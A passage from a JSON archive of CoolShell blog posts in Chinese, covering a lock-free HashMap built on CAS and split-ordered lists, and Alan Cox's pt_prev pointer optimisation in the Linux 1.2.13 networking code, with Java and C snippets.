target=\"_blank\">http://www.phpied.com/rendering-repaint-reflowrelayout-restyle/</a></li>\n</ul>\n<ul>\n<li>Effective Rendering CSS：<a href=\"http://css-tricks.com/efficiently-rendering-css/\" target=\"_blank\">http://css-tricks.com/efficiently-rendering-css/</a></li>\n</ul>\n<ul>\n<li><strong></strong>Webkit Rendering文档：<a href=\"http://trac.webkit.org/wiki/WebCoreRendering\" target=\"_blank\">http://trac.webkit.org/wiki/WebCoreRendering</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6043.html\"><img alt=\"Web开发中需要了解的东西\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-5-30 无锁HashMap的原理与实现.html",
    "content": "<html><body><p><strong> (本文由<a href=\"https://github.com/onetwogoo\" rel=\"author\">onetwogoo</a>投稿)</strong></p>\n<p>在《<a href=\"https://coolshell.cn/articles/9606.html\" target=\"_blank\" title=\"疫苗：Java HashMap的死循环\">疫苗：Java HashMap的死循环</a>》中，我们看到，java.util.HashMap并不能直接应用于多线程环境。对于多线程环境中应用HashMap，主要有以下几种选择：</p>\n<ol>\n<li><span style=\"line-height: 13px;\">使用线程安全的java.util.Hashtable作为替代。</span></li>\n<li>使用java.util.Collections.synchronizedMap方法，将已有的HashMap对象包装为线程安全的。</li>\n<li>使用java.util.concurrent.ConcurrentHashMap类作为替代，它具有非常好的性能。</li>\n</ol>\n<p>而以上几种方法在实现的具体细节上，都或多或少地用到了互斥锁。互斥锁会造成线程阻塞，降低运行效率，并有可能产生死锁、优先级翻转等一系列问题。</p>\n<p>CAS(Compare And Swap)是一种底层硬件提供的功能，它可以将判断并更改一个值的操作原子化。关于CAS的一些应用，《<a href=\"https://coolshell.cn/articles/8239.html\" target=\"_blank\" title=\"无锁队列的实现\">无锁队列的实现</a>》一文中有很详细的介绍。</p>\n<h4>Java中的原子操作</h4>\n<p>在java.util.concurrent.atomic包中，Java为我们提供了很多方便的原子类型，它们底层完全基于CAS操作。</p>\n<p>例如我们希望实现一个全局公用的计数器，那么可以：</p>\n<p> </p>\n<pre class=\"EnlighterJSRAW\">private AtomicInteger counter = new AtomicInteger(3);\n\npublic void addCounter() {\n    for (;;) {\n        int oldValue = counter.get();\n        int newValue = oldValue + 1;\n        if (counter.compareAndSet(oldValue, newValue))\n            return;\n    }\n}</pre>\n<p><span id=\"more-9703\"></span></p>\n<p>其中，compareAndSet方法会检查counter现有的值是否为oldValue，如果是，则将其设置为新值newValue，操作成功并返回true；否则操作失败并返回false。</p>\n<p>当计算counter新值时，若其他线程将counter的值改变，compareAndSwap就会失败。此时我们只需在外面加一层循环，不断尝试这个过程，那么最终一定会成功将counter值+1。（其实AtomicInteger已经为常用的+1/-1操作定义了incrementAndGet与decrementAndGet方法，以后我们只需简单调用它即可）</p>\n<p>除了AtomicInteger外，java.util.concurrent.atomic包还提供了AtomicReference和AtomicReferenceArray类型，它们分别代表原子性的引用和原子性的引用数组（引用的数组）。</p>\n<h4>无锁链表的实现</h4>\n<p>在实现无锁HashMap之前，让我们先来看一下比较简单的无锁链表的实现方法。</p>\n<p>以插入操作为例：</p>\n<ol>\n<li><span style=\"line-height: 13px;\">首先我们需要找到待插入位置前面的节点A和后面的节点B。</span></li>\n<li><span style=\"line-height: 13px;\">然后新建一个节点C，并使其next指针指向节点B。（见图1）</span></li>\n<li>最后使节点A的next指针指向节点C。（见图2）</li>\n</ol>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-9743\" height=\"479\" src=\"../wp-content/uploads/2013/05/图1-3.jpg\" width=\"600\"/></p>\n<p>但在操作中途，有可能其他线程在A与B直接也插入了一些节点（假设为D），如果我们不做任何判断，可能造成其他线程插入节点的丢失。（见图3）我们可以利用CAS操作，在为节点A的next指针赋值时，判断其是否仍然指向B，如果节点A的next指针发生了变化则重试整个插入操作。大致代码如下：</p>\n<pre class=\"EnlighterJSRAW\">private void listInsert(Node head, Node c) {\n    for (;;) {\n        Node a = findInsertionPlace(head), b = a.next.get();\n        c.next.set(b);\n        if (a.next.compareAndSwap(b,c))\n            return;\n    }\n}</pre>\n<p>(Node类的next字段为AtomicReference&lt;Node&gt;类型，即指向Node类型的原子性引用)</p>\n<p>无锁链表的查找操作与普通链表没有区别。而其删除操作，则需要找到待删除节点前方的节点A和后方的节点B，利用CAS操作验证并更新节点A的next指针，使其指向节点B。</p>\n<h4>无锁HashMap的难点与突破</h4>\n<p>HashMap主要有<strong>插入</strong>、<strong>删除</strong>、<strong>查找</strong>以及<strong>ReHash</strong>四种基本操作。一个典型的HashMap实现，会用到一个数组，数组的每项元素为一个节点的链表。对于此链表，我们可以利用上文提到的操作方法，执行插入、删除以及查找操作，但对于ReHash操作则比较困难。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-9744\" height=\"265\" src=\"../wp-content/uploads/2013/05/图4.jpg\" width=\"648\"/></p>\n<p>如图4，在ReHash过程中，一个典型的操作是遍历旧表中的每个节点，计算其在新表中的位置，然后将其移动至新表中。期间我们需要操纵3次指针：</p>\n<ol>\n<li>将A的next指针指向D</li>\n<li>将B的next指针指向C</li>\n<li>将C的next指针指向E</li>\n</ol>\n<p>而这三次指针操作必须同时完成，才能保证移动操作的原子性。但我们不难看出，CAS操作每次只能保证<strong>一个</strong>变量的值被原子性地验证并更新，无法满足同时验证并更新三个指针的需求。</p>\n<p>于是我们不妨换一个思路，既然移动节点的操作如此困难，我们可以使所有节点始终保持有序状态，从而避免了移动操作。在典型的HashMap实现中，数组的长度始终保持为2<sup>i</sup>，而从Hash值映射为数组下标的过程，只是简单地对数组长度执行取模运算（即仅保留Hash二进制的后i位）。当ReHash时，数组长度加倍变为2<sup>i+1</sup>，旧数组第j项链表中的每个节点，要么移动到新数组中第j项，要么移动到新数组中第j+2<sup>i</sup>项，而它们的唯一区别在于Hash值第i+1位的不同（第i+1位为0则仍为第j项，否则为第j+2<sup>i</sup>项）。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-9745\" height=\"297\" src=\"../wp-content/uploads/2013/05/图5-6.jpg\" width=\"690\"/></p>\n<p>如图5，我们将所有节点按照Hash值的翻转位序（如1101-&gt;1011）由小到大排列。当数组大小为8时，2、18在一个组内；3、11、27在另一个组内。每组的开始，插入一个哨兵节点，以方便后续操作。为了使哨兵节点正确排在组的最前方，我们将正常节点Hash的最高位（翻转后变为最低位）置为1，而哨兵节点不设置这一位。</p>\n<p>当数组扩容至16时（见图6），第二组分裂为一个只含3的组和一个含有11、27的组，但节点之间的相对顺序并未改变。这样在ReHash时，我们就不需要移动节点了。</p>\n<h4>实现细节</h4>\n<p>由于扩容时数组的复制会占用大量的时间，这里我们采用了将整个数组分块，懒惰建立的方法。这样，当访问到某下标时，仅需判断此下标所在块是否已建立完毕（如果没有则建立）。</p>\n<p>另外定义size为当前已使用的下标范围，其初始值为2，数组扩容时仅需将size加倍即可；定义count代表目前HashMap中包含的总节点个数（不算哨兵节点）。</p>\n<p>初始时，数组中除第0项外，所有项都为null。第0项指向一个仅有一个哨兵节点的链表，代表整条链的起点。初始时全貌见图7，其中浅绿色代表当前未使用的下标范围，虚线箭头代表逻辑上存在，但实际未建立的块。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-9746\" height=\"282\" src=\"../wp-content/uploads/2013/05/图7.jpg\" width=\"446\"/></p>\n<h5>初始化下标操作</h5>\n<p>数组中为null的项都认为处于未初始化状态，初始化某个下标即代表建立其对应的哨兵节点。初始化是递归进行的，即若其父下标未初始化，则先初始化其父下标。（一个下标的父下标是其移除最高二进制位后得到的下标）大致代码如下：</p>\n<pre class=\"EnlighterJSRAW\">private void initializeBucket(int bucketIdx) {\n    int parentIdx = bucketIdx ^ Integer.highestOneBit(bucketIdx);\n    if (getBucket(parentIdx) == null)\n        initializeBucket(parentIdx);\n\n    Node dummy = new Node();\n    dummy.hash = Integer.reverse(bucketIdx);\n    dummy.next = new AtomicReference&amp;lt;&amp;gt;();\n\n    setBucket(bucketIdx, listInsert(getBucket(parentIdx), dummy));\n}</pre>\n<p>其中getBucket即封装过的获取数组某下标内容的方法，setBucket同理。listInsert将从指定位置开始查找适合插入的位置插入给定的节点，若链表中已存在hash相同的节点则返回那个已存在的节点；否则返回新插入的节点。</p>\n<h5>插入操作</h5>\n<ul>\n<li>首先用HashMap的size对键的hashCode取模，得到应插入的数组下标。</li>\n<li>然后判断该下标处是否为null，如果为null则初始化此下标。</li>\n<li>构造一个新的节点，并插入到适当位置，注意节点中的hash值应为原hashCode经过位翻转并将最低位置1之后的值。</li>\n<li>将节点个数计数器加1，若加1后节点过多，则仅需将size改为size*2，代表对数组扩容（ReHash）。</li>\n</ul>\n<h5>查找操作</h5>\n<ul>\n<li>找出待查找节点在数组中的下标。</li>\n<li>判断该下标处是否为null，如果为null则返回查找失败。</li>\n<li>从相应位置进入链表，顺次寻找，直至找出待查找节点或超出本组节点范围。</li>\n</ul>\n<h5>删除操作</h5>\n<ul>\n<li><span style=\"line-height: 13px;\">找出应删除节点在数组中的下标。</span></li>\n<li>判断该下标处是否为null，如果为null则初始化此下标。</li>\n<li>找到待删除节点，并从链表中删除。（注意由于哨兵节点的存在，任何正常元素只被其唯一的前驱节点所引用，不存在被前驱节点与数组中指针同时引用的情况，从而不会出现需要同时修改多个指针的情况）</li>\n<li>将节点个数计数器减1。</li>\n</ul>\n<h4>参考文献</h4>\n<p><a href=\"http://www.cs.ucf.edu/~dcm/Teaching/COT4810-Spring2011/Literature/SplitOrderedLists.pdf\" target=\"_blank\" title=\"《Split-Ordered Lists: Lock-Free Extensible Hash Tables》\">《Split-Ordered Lists: Lock-Free Extensible Hash Tables》</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9606.html\"><img alt=\"疫苗：Java HashMap的死循环\" height=\"150\" src=\"../wp-content/uploads/2013/05/race_condition-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9606.html\">疫苗：Java HashMap的死循环</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9169.html\"><img alt=\"并发框架Disruptor译文\" height=\"150\" src=\"../wp-content/uploads/2013/02/Disruptor-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9169.html\">并发框架Disruptor译文</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6424.html\"><img alt=\"Hash Collision DoS 问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6424.html\">Hash Collision DoS 问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-6-30 Alan Cox：单向链表中prev指针的妙用.html",
    "content": "<html><body><p><figure class=\"wp-caption alignright\" id=\"attachment_9906\" style=\"width: 200px;\"><img alt=\"Alan Cox\" class=\"size-medium wp-image-9906\" height=\"300\" src=\"../wp-content/uploads/2013/06/Alan-Cox-200x300.jpg\" title=\"Alan Cox\" width=\"200\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-9906\">Alan Cox</figcaption></figure></p>\n<p><span style=\"color: #cc0000;\"><strong> （感谢网友 </strong></span><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><span style=\"color: #cc0000;\"><strong> 投稿）</strong></span></p>\n<p>之前发过一篇<a href=\"https://coolshell.cn/articles/8990.html\" target=\"_blank\">二级指针操作单向链表</a>的例子，显示了C语言指针的灵活性，这次再探讨一个指针操作链表的例子，而且是一种完全不同的用法。</p>\n<p>这个例子是linux-1.2.13网络协议栈里的，关于链表遍历&amp;数据拷贝的一处实现。源文件是/net/inet/dev.c，你可以从<a href=\"https://www.kernel.org/pub/linux/kernel/v1.2/\" target=\"_blank\">kernel.org</a>官网上下载。</p>\n<p>从最早的0.96c版本开始，linux网络部分一直采取TCP/IP协议族实现，这是最为广泛应用的网络协议，整个架构就是经典的OSI七层模型的描述，其中dev.c是属于链路层实现。从功能上看，其位于网络设备驱动程序和网络层协议实现模块之间，作为二者之间的数据包传输通道，一种接口模块而存在——对驱动层的接口函数netif_rx, 以及对网络层的接口函数net_bh。前者提供给驱动模块的中断例程调用，用于链路数据帧的封装；后者作为驱动中断例程<strong>底半部(buttom half)</strong>，用于对数据帧的解析处理并向上层传送。</p>\n<p>为了便于理解，这里补充一下网络通信原理和linux驱动中断机制的背景知识。从最底层的物理层说起，当主机和路由器相互之间进行通信的时候，在物理介质上（同轴、光纤等）以电平信号进行传输。主机或路由器的<strong>硬件接口（网卡）</strong>负责收发这些信号，当信号发送到接口，再由内置的<strong>调制解调器(modem)</strong>将数字信号转换成二进制码，这样才能驻留在主机的硬件缓存中。这时接口（网卡）设备驱动程序将通过<strong>硬中断</strong>来获取硬件缓存中的数据，驱动程序是操作系统中负责直接同硬件设备打交道的模块，硬中断的触发是初始化时通过设置控制寄存器实现的，用于通知驱动程序硬件缓存中有新的数据到来。linux卡设备驱动就是在<strong>中断处理例程(ISR)</strong>中将硬件缓存数据拷贝到内核缓存中，打包成数据链路帧进行解析处理，再向上分发到各种协议层。由于ISR上下文是原子性的、中断屏蔽的，整个步骤又较为繁琐，因此全部放在ISR中处理会影响到其它中断响应实时性，于是linux有实现一种bottom half的<strong>软中断</strong>处理机制，将整个ISR一分为二，前半部上下文屏蔽所有中断，专门处理紧急的、实时性强的事务，如拷贝硬件缓存并打包封装，后半部上下文没有屏蔽中断（但代码不可重入），用于处理比较耗时且非紧急事务，包括数据帧的解析处理和分发。下面要讲的net_bh就属于后半部。</p>\n<p>我们主要关心的是将链路帧分发到协议层那一段逻辑，下面摘自net_bh函数中的一段代码：</p>\n<p><span id=\"more-9859\"></span></p>\n<pre class=\"EnlighterJSRAW\">526 void net_bh(void *tmp)\n527 {\n       ...\n577\n578    /*\n579    * We got a packet ID.  Now loop over the \"known protocols\"\n580    * table (which is actually a linked list, but this will\n581    * change soon if I get my way- FvK), and forward the packet\n582    * to anyone who wants it.\n583    *\n584    * [FvK didn't get his way but he is right this ought to be\n585    * hashed so we typically get a single hit. The speed cost\n586    * here is minimal but no doubt adds up at the 4,000+ pkts/second\n587    * rate we can hit flat out]\n588    */\n589   pt_prev = NULL;\n590   for (ptype = ptype_base; ptype != NULL; ptype = ptype-&gt;next)\n591   {\n592    if ((ptype-&gt;type == type || ptype-&gt;type == htons(ETH_P_ALL)) &amp;&amp; (!ptype-&gt;dev || ptype-&gt;dev==skb-&gt;dev))\n593    {\n594      /*\n595      * We already have a match queued. Deliver\n596      * to it and then remember the new match\n597      */\n598      if(pt_prev)\n599      {\n600        struct sk_buff *skb2;\n601        skb2=skb_clone(skb, GFP_ATOMIC);\n602        /*\n603        * Kick the protocol handler. This should be fast\n604        * and efficient code.\n605        */\n606        if(skb2)\n607          pt_prev-&gt;func(skb2, skb-&gt;dev, pt_prev);\n608      }\n609      /* Remember the current last to do */\n610      pt_prev=ptype;\n611    }\n612   } /* End of protocol list loop */\n613   /*\n614   * Is there a last item to send to ?\n615   */\n616   if(pt_prev)\n617     pt_prev-&gt;func(skb, skb-&gt;dev, pt_prev);\n618   /*\n619    *  Has an unknown packet has been received ?\n620    */\n621   else\n622     kfree_skb(skb, FREE_WRITE);\n623\n      ...\n640 }</pre>\n<p>在此稍稍解说一下数据结构，skb就是内核缓存中sock数据封装，协议栈里从链路层到传输层都会用到，只不过封装格式不同，主要是对<strong>协议首部(header)</strong>的由下而上层层剥离（反之由上而下是层层创建），在此你只需理解为一个链路数据帧即可。这段代码的逻辑是解析skb中的协议字段，从协议类型链表（由ptype_base维护）中查询对应的协议节点进行函数指针func回调，以便将数据帧分发到相应的协议层（如ARP、IP、8022、8023等）。</p>\n<p>第一眼看上去是不是有点奇怪？这段代码竟然用一个pt_prev指针去维护ptype链表中前一个节点，从而产生了额外的条件分支判断，咋一看是否多了很多“余”了？回顾一下那篇<a href=\"https://coolshell.cn/articles/8990.html\" target=\"_blank\">二级指针操作单向链表</a>的博文，简直完全是反其道而行之的。如果把pt_prev去掉，代码可以精简为：</p>\n<pre class=\"EnlighterJSRAW\">  for (ptype = ptype_base; ptype != NULL; ptype = ptype-&gt;next)\n  {\n    if ((ptype-&gt;type == type || ptype-&gt;type == htons(ETH_P_ALL)) &amp;&amp; (!ptype-&gt;dev || ptype-&gt;dev==skb-&gt;dev))\n    {\n        /*\n        * We already have a match queued. Deliver\n        * to it and then remember the new match\n        */\n        struct sk_buff *skb2;\n        skb2=skb_clone(skb, GFP_ATOMIC);\n        /*\n        * Kick the protocol handler. This should be fast\n        * and efficient code.\n        */\n        if(skb2)\n            pt_prev-&gt;func(skb2, skb-&gt;dev, pt_prev);\n    }\n} /* End of protocol list loop */\n\nkfree_skb(skb, FREE_WRITE);</pre>\n<p>咋看一下“干净”了很多，不是吗？但我们要记住一点，凡是网上发布的linux内核源代码，都是都是经过众多黑客高手们重重检视并验证过的，人家这么写肯定有十分充足的理由，所以不要太过于相信自己的直觉了，让我们再好好review一下代码吧！看看这段循环里做了什么事情？特别是第592~611行。</p>\n<p>由于从网络上拷贝过来skb是唯一的，而分发的协议对象可能是多个，所以在回调之前要做一次clone动作（注意这里是深度拷贝，相当于一次kmalloc）。分发之后还需要调用kfree_skb释放掉原始skb数据块，它的历史使命到此完成了，没有保留的必要（第622行）。<strong>注意，这两个动作都是存在内核开销的。</strong></p>\n<p>然而这里为啥要pt_prev维护一个后向节点呢？这是有深意的，它的作用就是将当前匹配协议项的回调操作延时了。举个例子，如果链表遍历中找到某个匹配项，当前循环仅仅用pt_prev去记录这个匹配项，除此之外不做任何事情，待到下一次匹配项找到时，才去做上一个匹配项pt_prev的回调操作，直到循环结束，才会去做最后的匹配项的回调（当然pt_prev==NULL表示没有一次匹配，直接释放掉），所以这是一种<strong>拖延战术</strong>。有什么好处呢？就是比原先节省了很多不必要的操作。那么哪些操作是不必要的呢？这里我们逆向思考一下，我们看到clone是在协议字段匹配并且pt_prev!=NULL的前提条件下执行的，而kfree是在pt_prev==NULL的前提条件下执行的。在此可以假设一下，如果ptype链表中存在N项协议与之匹配，那么这段代码只会执行N-1次clone，而没有pt_prev时将会执行N次clone和1次kfree，再如果ptype链表中有且仅有一项协议与之匹配，那么整个循环既不会执行到第601行的clone，也不会执行到第622行的kfree。</p>\n<p>也就是说，<strong>当整个链表至少有一项匹配的一般情况下，pt_prev存在比没有时减少了一次clone和一次kfree的开销；只有全部不匹配的最差情况下，两者都只做一次kfree动作，持平。这就是延迟策略产生的效益</strong>。</p>\n<p>熟悉TCP/IP协议族的开发人员应该知道<strong>MTU（最大传输单元）</strong>这个概念，遵循不同协议的MTU值是不同的。比如以太网帧MTU是1500个字节，802.3帧MTU是1492字节，PPP链路帧MTU是269字节，而超通道MTU理论上是65535字节。要知道在一个高速吞吐量通信网络环境下，在大块数据分片传输线路里，在内核级别代码中，减少一处系统开销意味着什么？</p>\n<p>其实我们完全可以抛开一切网络协议相关知识，这不过是一段极其普通的单向链表操作而已，逻辑并不复杂。但是看看人家顶级黑客是怎么思考和coding的，对比一下自己写过的代码，多少次数据处理是用一个简单的for循环匆匆敷衍了事而没有进一步思考其中的粗陋和不合理之处？面对真正的编程高手这种“心计”与“城府”，你是不是有种莫名不安感？你会怀疑你真的了解怎么去使用和操作C语言中基本的链表数据结构么？如果答案是肯定的，那就开始颤抖吧（哈，别误会，其实上面这段话不过是笔者的自我告解罢了）~~~</p>\n<p>最后，让我们感谢尊敬的<a href=\"http://en.wikipedia.org/wiki/Alan_Cox\" target=\"_blank\">Alan Cox</a>大大对Linux社区卓越精细、无与伦比的贡献！（Alan是图中中部戴红帽子的那位）</p>\n<p><img alt=\"Linux Kernel Team\" class=\"aligncenter\" height=\"323\" src=\"http://old.lwn.net/images/ks/group2.jpg\" width=\"704\"/></p>\n<p><strong>附注：</strong></p>\n<p>最新的Linux-2.6.x版本中协议栈实现部分变动很大，但/net/core/dev.c的netif_receive_skb函数里仍然保留了pt_prev这种用法，目的是一样的，都是为了减少一次系统开销的优化操作。</p>\n<p>关于Alan，他在斯旺西大学工作时，在学校服务器上安装了一个早期的linux版本，供学校使用。他修正了许多的问题，重写了网络系统中的许多部份。随后成为linux内核开发小组中的重要成员。<a href=\"http://en.wikipedia.org/wiki/Alan_Cox\" target=\"_blank\">Alan Cox</a>负责维持2.2版，在2.4版上拥有自己的分支（在版本号上会冠上ac，如 2.4.13-ac1）。他的分支版本非常稳定，修正许多错误，许多厂商都使用他的版本。在他去进修工商管理硕士之前，涉入许多linux内核开发的事务，在社群中有很高的地位，有时会被视为是Linus之下的第二号领导者。</p>\n<p>不过，今年1月28日的时候，Alan因为家庭原因宣布退出Linux项目了，下面是他Google+的声明：</p>\n<blockquote><p>“I’m leaving the Linux world and Intel for a bit for family reasons, I’m aware that ‘family reasons’ is usually management speak for ‘I think the boss is an asshole’ but I’d like to assure everyone that while I frequently think Linus is an asshole (and therefore very good as kernel dictator) I am departing quite genuinely for family reasons and not because I’ve fallen out with Linus or Intel or anyone else. Far from it I’ve had great fun working there.”</p></blockquote>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9917.html\"><img alt=\"Alan Cox：大教堂、市集与市议会\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9917.html\">Alan Cox：大教堂、市集与市议会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-6-5 Javascript 装载和执行.html",
